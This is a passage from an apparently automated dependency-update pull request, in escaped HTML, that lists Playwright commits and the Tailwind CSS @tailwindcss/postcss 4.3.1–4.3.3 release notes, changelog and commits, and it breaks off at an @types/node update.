href=\"https://github.com/microsoft/playwright/commit/b5a31759e6611397bf3afaaa6049a420a5f082bd\"\u003e\u003ccode\u003eb5a3175\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41319\"\u003e#41319\u003c/a\u003e): fix(loader): support other node versions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d4724a91b280ae1ee9a87c426e9d6a953c59756e\"\u003e\u003ccode\u003ed4724a9\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41290\"\u003e#41290\u003c/a\u003e): feat(docker): add Ubuntu 26.04 (Resolute Raccoon) image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1cc5a90cfa3eaa430b1a991963100f95126caa47\"\u003e\u003ccode\u003e1cc5a90\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41295\"\u003e#41295\u003c/a\u003e): chore: PLAYWRIGHT_TRACING_NO_WEBSOCKET_FRAMES and PLAYWR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/a6772bdede34028cbbd417a3b3d778801899e870\"\u003e\u003ccode\u003ea6772bd\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41280\"\u003e#41280\u003c/a\u003e): Revert \u0026quot;fix(trace-viewer): add keyboard navigation to `N...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.60.0...v1.61.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tailwindcss/postcss` from 4.3.0 to 4.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/postcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.2\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/postcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.3] - 2026-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → \u003ccode\u003ebg-white\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20298\"\u003e#20298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent Preflight from overriding Firefox's native \u003ccode\u003eiframe:focus-visible\u003c/code\u003e outline styles (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003etheme('colors.foo')\u003c/code\u003e in JS plugins resolves correctly when both \u003ccode\u003e--color-foo\u003c/code\u003e and \u003ccode\u003e--color-foo-bar\u003c/code\u003e exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20299\"\u003e#20299\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure fractional opacity modifiers work with named shadow sizes like \u003ccode\u003eshadow-sm/12.5\u003c/code\u003e, \u003ccode\u003etext-shadow-sm/12.5\u003c/code\u003e, \u003ccode\u003edrop-shadow-sm/12.5\u003c/code\u003e, and \u003ccode\u003einset-shadow-sm/12.5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20302\"\u003e#20302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eParse selectors like \u003ccode\u003e[data-foo]div\u003c/code\u003e as two selectors instead of one (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20303\"\u003e#20303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when a preprocessor like Sass changes the input CSS without changing the input file on disk (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20310\"\u003e#20310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure CSS nesting is handled even when Lightning CSS isn't run, such as in \u003ccode\u003e@tailwindcss/browser\u003c/code\u003e and Tailwind Play (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20124\"\u003e#20124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent achromatic theme colors from shifting hue when mixed in polar color spaces like \u003ccode\u003eoklch\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20314\"\u003e#20314\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e--spacing(0)\u003c/code\u003e is optimized to \u003ccode\u003e0px\u003c/code\u003e instead of \u003ccode\u003e0\u003c/code\u003e so it remains a \u003ccode\u003e\u0026lt;length\u0026gt;\u003c/code\u003e when used in \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20319\"\u003e#20319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLoad \u003ccode\u003e@parcel/watcher\u003c/code\u003e only when needed in \u003ccode\u003e@tailwindcss/cli --watch\u003c/code\u003e mode, so one-off builds and \u003ccode\u003e--watch --poll\u003c/code\u003e work when \u003ccode\u003e@parcel/watcher\u003c/code\u003e can't be loaded (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20325\"\u003e#20325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse explicit platform fonts instead of \u003ccode\u003esystem-ui\u003c/code\u003e and \u003ccode\u003eui-sans-serif\u003c/code\u003e so CJK text respects the page's \u003ccode\u003elang\u003c/code\u003e attribute on Windows (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/upgrade\u003c/code\u003e from rewriting ignored files when run from a subdirectory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20329\"\u003e#20329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure earlier \u003ccode\u003e@source\u003c/code\u003e rules pointing to nested files are scanned when later \u003ccode\u003e@source\u003c/code\u003e rules point to files in parent folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20335\"\u003e#20335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from triggering full page reloads when scanned files are processed by Vite but haven't been loaded as modules yet (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20336\"\u003e#20336\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.2] - 2026-06-26\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.1] - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/c2b24dd15fed1c59dd521bd86082f520c9f5ad0d\"\u003e\u003ccode\u003ec2b24dd\u003c/code\u003e\u003c/a\u003e 4.3.3 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20334\"\u003e#20334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/e48c5e80473c25fe5a27fe267fbaf4f6512424a3\"\u003e\u003ccode\u003ee48c5e8\u003c/code\u003e\u003c/a\u003e Fix weird character rendering on Windows with Japanese locale (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20318\"\u003e#20318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/9b0e8af25861ad5b8f5af420ad3ee0b188665027\"\u003e\u003ccode\u003e9b0e8af\u003c/code\u003e\u003c/a\u003e Ensure \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e rebuilds when the input CSS changes but its mti...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/b53fa096c92d830fc64b7cf69581496242583446\"\u003e\u003ccode\u003eb53fa09\u003c/code\u003e\u003c/a\u003e fix: exclude iframes from focus-visible auto outline in Preflight (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20292\"\u003e#20292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/056a1550721d4bf79ff732d5ab9414fa83f7064f\"\u003e\u003ccode\u003e056a155\u003c/code\u003e\u003c/a\u003e 4.3.2 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20281\"\u003e#20281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8a14a710102cae195f6811e8578bef9477bc6be9\"\u003e\u003ccode\u003e8a14a71\u003c/code\u003e\u003c/a\u003e 4.3.1 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20226\"\u003e#20226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/522288ca08c7ed0e7e9d3256f40fd36981d451a3\"\u003e\u003ccode\u003e522288c\u003c/code\u003e\u003c/a\u003e Serve ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8dcdb66e8a58b9df621ed1a9cb59396e0ddb6dd7\"\u003e\u003ccode\u003e8dcdb66\u003c/code\u003e\u003c/a\u003e Bump dependencies (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20095\"\u003e#20095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.3/packages/@tailwindcss-postcss\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 25.9.3 to 